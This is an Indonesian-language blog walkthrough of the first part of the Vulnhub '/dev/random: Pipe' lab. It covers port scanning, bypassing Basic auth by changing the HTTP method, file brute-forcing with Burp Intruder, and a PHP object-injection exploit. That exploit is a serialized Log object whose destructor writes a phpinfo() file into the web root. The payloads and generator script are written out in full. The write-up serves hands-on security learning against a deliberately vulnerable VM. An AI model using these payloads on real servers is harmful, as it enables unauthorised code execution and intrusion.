[Pentest Series] Vulnhub VM: /dev/random Pipe — Part 1

Hello semuanya!

Sesuai dengan artikel pentest sebelumnya, kali ini sepertinya janji saya tidak terpenuhi karena sulitnya mencari virtual machine yang belum pernah dibahas.

Sekalipun ada, VM tersebut masih dalam kategori relatif mudah. Kalau mudah terus takutnya nanti malah bosen :p

Untuk itu, saya mencoba salah satu VM yang menurut saya cukup sulit (bagi saya juga waktu itu sampai berhari-hari) untuk dikuasai. Please welcome /dev/random: pipe VM (https://www.vulnhub.com/entry/devrandom-pipe,124/)

[!] Required Skill Level: High. Artinya peringatan bahwa ini akan menjadi sulit. Kamu minimal sudah memiliki pengetahuan dan pengalaman yang cukup baik. Kamu juga harus mengerti benar konsep Object Oriented Programming dan menggunakan konsep tersebut dalam melakukan eksploitasi

Walaupun sudah ada writeupnya (saya juga sudah membaca milik mereka). Saya menyimpulkan bahwa ada kemungkinan mereka melakukan copy paste dari source writeup aslinya. Sehingga teknik pentest dan cara membahasnya terlihat sama dan segitu aja tanpa ada pembahasan yang detil.

Dan ada kemungkinan juga penulisnya bingung dengan apa yang mereka sendiri tulis lol. Totally copas siih…..… :v

Saya bukan tipe yang ahli copas seperti itu. Intinya, setiap writeup yang saya tulis pasti sudah saya kerjakan sebelumnya dan tentu berbeda dengan gaya pentest penulis writeup lainnya.

Sudah cukup basa-basinya, yuk ah langsung melipir aja ke TKP.

Information Gathering

Disini saya asumsikan bahwa kamu sudah berhasil menjalankan VM. Langsung kita lakukan nmap ke subnet yang berada pada host only network

$ nmap -A 192.168.56.1/24
Nmap scan report for 192.168.56.101
Host is up (0.00050s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA)
| 2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA)
|_ 256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA)
80/tcp open http Apache httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=index.php
|_http-server-header: Apache
|_http-title: 401 Unauthorized
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 32804/tcp status
|_ 100024 1 57646/udp status
MAC Address: 08:00:27:98:0A:08 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.56.101

Hanya port 80 yang menarik. Untuk yang lain sepertinya hanya port biasa tanpa celah menarik didalamnya. Next…

Port 80

Saya disambut oleh halaman yang kurang menyenangkan ini

Tau? Saya juga engga……

Oke, disini saya akan mencoba analisis dengan menggunakan Burp Suite. Kalian bisa mencoba download yang Burp Suite Free, atau menggunakan Zed Attack Proxy milik OWASP.

Saya melakukan intercept http dan mendapatkan request berikut

GET / HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 20 Jan 2017 02:13:56 GMT
If-None-Match: "58817264-264"

Kalau untuk melakukan bypass autentikasi itu terdapat 2 metode yaitu:

  1. Ganti URL
  2. Ganti Method (HEAD, POST, PUT, DELETE, TRACE, CONNECT, OPTIONS, dan method lain)

Mari kita coba mengganti url

GET /cobain404ah HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 20 Jan 2017 02:13:56 GMT
If-None-Match: "58817264-264"

Untuk coba beginian, lebih enak pake cURL sih. Pake burp soalnya request ga akan keliatan kalau ditolak oleh server.

$ curl -X GET http://192.168.56.101/ah404here
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
</body></html>

Oke, sekarang kita ganti juga method yang digunakan. Cobain tuh satu2 :p

$ curl -X POST http://192.168.56.101/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
</body></html>
$ curl -X POST http://192.168.56.101/ah404lulhere
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /ah404lulhere was not found on this server.</p>
</body></html>

$

Finally found a way in

Benar bahwa kita harus bypass via penggantian metode HTTP. Saya menggunakan method POST dan menembak ke arah file selain /

Coba yuk kita ulang requestnya di burp dan coba bruteforce halaman /

Disini kalian akan belajar cara menggunakan intruder

Sekarang coba buka proxy, lalu klik kanan dan pilih “Send to Intruder”. Nanti kamu akan diarahkan ke intruder dengan sudah ada isian seperti ini

Disini saya akan coba posisi sniper yaitu menembak payload satu per satu. Sekarang kita buka tab payload

Crafting Bruteforce Payload

Disini saya tambahkan manual direktori/file yang akan diujicoba. Kamu juga bisa ambil dari dictionary dengan cara menekan tombol “load”. Disini saya ambil list yang memiliki 4000 nama direktori dengan sedikit penyesuaian dari dictionary aslinya. Yaitu melakukan append string “.php” disetiap string yang akan dijadikan payload.

$ sed -e 's/$/.php/' -i common_web_php.txt
Menggunakan common_web.txt milik kali yang sudah disesuaikan. Kamu juga membuat payload kamu sendiri

Kalau kamu sudah mendesign payload, kamu akan lihat di sebelah kanan atas terdapat “attack”. Yuk mari kita serang sekarang juga.

Hasil serangan terurut berdasarkan status

Okee sekarang kita lihat hasilnya yang sudah saya urut berdasarkan kode status response http. Coba liat2 index.php ah

/index.php

Info.php dan log.php itu kosong. Tapi minimal kita tahu bahwa file tersebut itu ada.

List Detected File (root web directory):
index.php
Info.php
Log.php

Terus kita mantengin aja ini halaman index.php. Coba ah liat si artist info.

POST /index.php HTTP/1.1
....
param=O%3A4%3A%22Info%22%3A4%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A9%3A%22firstname%22%3Bs%3A4%3A%22Rene%22%3Bs%3A7%3A%22surname%22%3Bs%3A8%3A%22Margitte%22%3Bs%3A7%3A%22artwork%22%3Bs%3A23%3A%22The+Treachery+of+Images%22%3B%7D

Hmm, coba kita decode kok parameternya kayak ga asing

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}

Ini kayak serialisasi, oke sekarang saya harus tahu kode dibelakang ini. Saya melihat source code html dan menemukan potongan menarik

<script src="scriptz/php.js"></script>
<script>
function submit_form() {
var object = serialize({id: 1, firstname: 'Rene', surname: 'Margitte', artwork: 'The Treachery of Images'});
object = object.substr(object.indexOf("{"),object.length);
object = "O:4:\"Info\":4:" + object;
document.forms[0].param.value = object;
document.getElementById('info_form').submit();
}
</script>

Melipir ah ke folder scriptz

Directory Listing

Sepertinya si pembuat VM menjawab pertanyaan di kepala saya mengenai cara kerja serialisasi dibelakangnya. Mudah2an file .bak ini memberikan jawaban yang memuaskan….

PHP Code Analysis

<?php
class Log
{
public $filename = '';
public $data = '';
public function __construct()
{
$this->filename = '';
$this->data = '';
}
public function PrintLog()
{
$pre = "[LOG]";
$now = date('Y-m-d H:i:s');
$str = '$pre - $now - $this->data';
eval("\$str = \"$str\";");
echo $str;
}
public function __destruct()
{
file_put_contents($this->filename, $this->data, FILE_APPEND);
}
}
?>

Saya sebenarnya tidak terlalu puas dengan temuan ini karena belum mengerti benar maksud dari web ini. Namun, saya berasumsi bahwa Class Log ini akan dipanggil ketika artist info tadi dieksekusi. Tentu dengan nama file logging dan konten yang sudah disesuaikan.

[Object Oriented Programming] fungsi __destruct pasti akan dipanggil ketika suatu objek telah selesai digunakan.

Kembali ke fungsi yang tadi, bagaimana kalau kita set variabel filename dan data sesuai dengan yang kita mau? Let’s give it a try

Crafting POST parameter Payload

Download phpjs dari folder scriptz tadi, lalu buat kode html seperti ini

<script src="php.js"></script>
<script>
function submit_form() {
var object = serialize({id: 1, firstname: 'Rene', surname: 'Margitte', artwork: 'The Treachery of Images', filename: '/var/www/html/scriptz/test.php', data: '<?php phpinfo(); ?>'});
object = object.substr(object.indexOf("{"),object.length);
object = "O:4:\"Info\":4:" + object;
document.forms[0].param.value = object;
document.getElementById('info_form').submit();
}
</script>
<html>
<form action="http://192.168.56.101/index.php" id="info_form" method="POST">
<input type="hidden" name="param" value="" />
<a href="#" onclick="submit_form(); return false;">Show Artist Info.</a>
</form>
</html>

Sekarang kamu coba buka html tersebut di burp dan lihat request yang dilakukan. Berikut adalah hasil yang saya punya (decoded)

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";s:8:"filename";s:30:"/var/www/html/scriptz/test.php";s:4:"data";s:19:"<?php phpinfo(); ?>";}

Oke sekarang harusnya ada file “test.php” di folder scriptz. Tapi kok nihil ya?

Fixing Payload

Ternyata payload saya salah, kalau kamu baca secara seksama. Pada karakter awal itu terdapat tulisan O:4:”Info”:4: which means itu memanggil objek Info. Sedangkan yang mau kita panggil adalah objek Log. Untuk itu saya ubah targetnya dan saya hilangkan parameter yang tidak perlu. Output javascriptnya kurang lebih seperti ini (decoded). Yuk langsung dicoba lagi payloadnya…

param=O:4:"Log":4:{s:8:"filename";s:30:"/var/www/html/scriptz/test.php";s:4:"data";s:19:"<?php phpinfo(); ?>";}
Setelah dicoba kok ga bisa juga ya? apa karena permission denied atau bagaimana ya?

Wrong Concept

Setelah dicoba berhari-hari ternyata saya masih salah mengenai object serialization pada PHP. Silahkan kamu baca referensi dibawah ini: http://php.net/manual/en/language.oop5.serialization.php

Dan yang paling penting adalah, ternyata saya salah metode untuk melakukan eksploitasi. Seharusnya kita membangkitkan payload dari file objek log.php yang digunakan oleh server. Which is sekarang ada kopiannya di log.php.bak. Let’s check it out!

Fixing Payload (2)

Setelah saya download, saya melakukan pengubahan kode php menjadi seperti ini

<?php
class Log
{
public $filename = '';
public $data = '';
public function __construct()
{
$this->filename = '/var/www/html/scriptz/kucingganteng.php'; //target output ketika dipanggil __destruct
$this->data = '<?php phpinfo(); ?>'; //target data untuk output
}
public function PrintLog()
{
$pre = "[LOG]";
$now = date('Y-m-d H:i:s');
$str = '$pre - $now - $this->data';
eval("\$str = \"$str\";");
echo $str;
}
public function __destruct()
{
file_put_contents($this->filename, $this->data, FILE_APPEND);
}
}
echo serialize(new Log()); //<-- Penting untuk mengeluarkan payload

Lalu kamu jalankan dengan perintah php <nama file diatas>

$ php index.php
PHP Warning: file_put_contents(/var/www/html/scriptz/kucingganteng.php): failed to open stream: No such file or directory in /home/kucing/HACK/index.php on line 21
O:3:"Log":2:{s:8:"filename";s:39:"/var/www/html/scriptz/kucingganteng.php";s:4:"data";s:19:"<?php phpinfo(); ?>";}

Abaikan warning dan ambil yang bagian bawah, lalu kamu lakukan request ulang. Apabila kamu menggunakan burp, seharusnya menjadi seperti ini

POST /index.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
param=O:3:"Log":2:{s:8:"filename";s:39:"/var/www/html/scriptz/kucingganteng.php";s:4:"data";s:19:"<?php phpinfo(); ?>";}

Saatnya kamu send, dan alhamdulillah ternyata payloadnya bekerja. Kalau tidak mah, saya langsung pensi aja dah hahaha xD

Lihat file “kucingganteng.php” milik saya
phpinfo yang saya upload

Special Notes!

Jujur saya dibagian sini memang sudah menyerah dan sempat mengintip writeup lainnya. Soalnya banyak sekali informasi yang kurang untuk mengexploitasi kelemahan web ini. TERUTAMA di bagian pemilihan path direktori web. Seharusnya challenge creator menambahkan informasi tambahan yang menyatakan letak dari direktori web ini. Tapi yaudah gapapa challenge ini udah keren banget kok menurut saya (y)

Epilogue

Ini artikel udah kepanjangan, lebih baik saya lanjutkan pada artikel selanjutnya yah bagaimana cara rooting server ini. Terima kasih telah membaca writeup ini hingga selesai!

Stay Tuned && Bye bye..

Semoga bermanfaat! :)

Jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be

One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.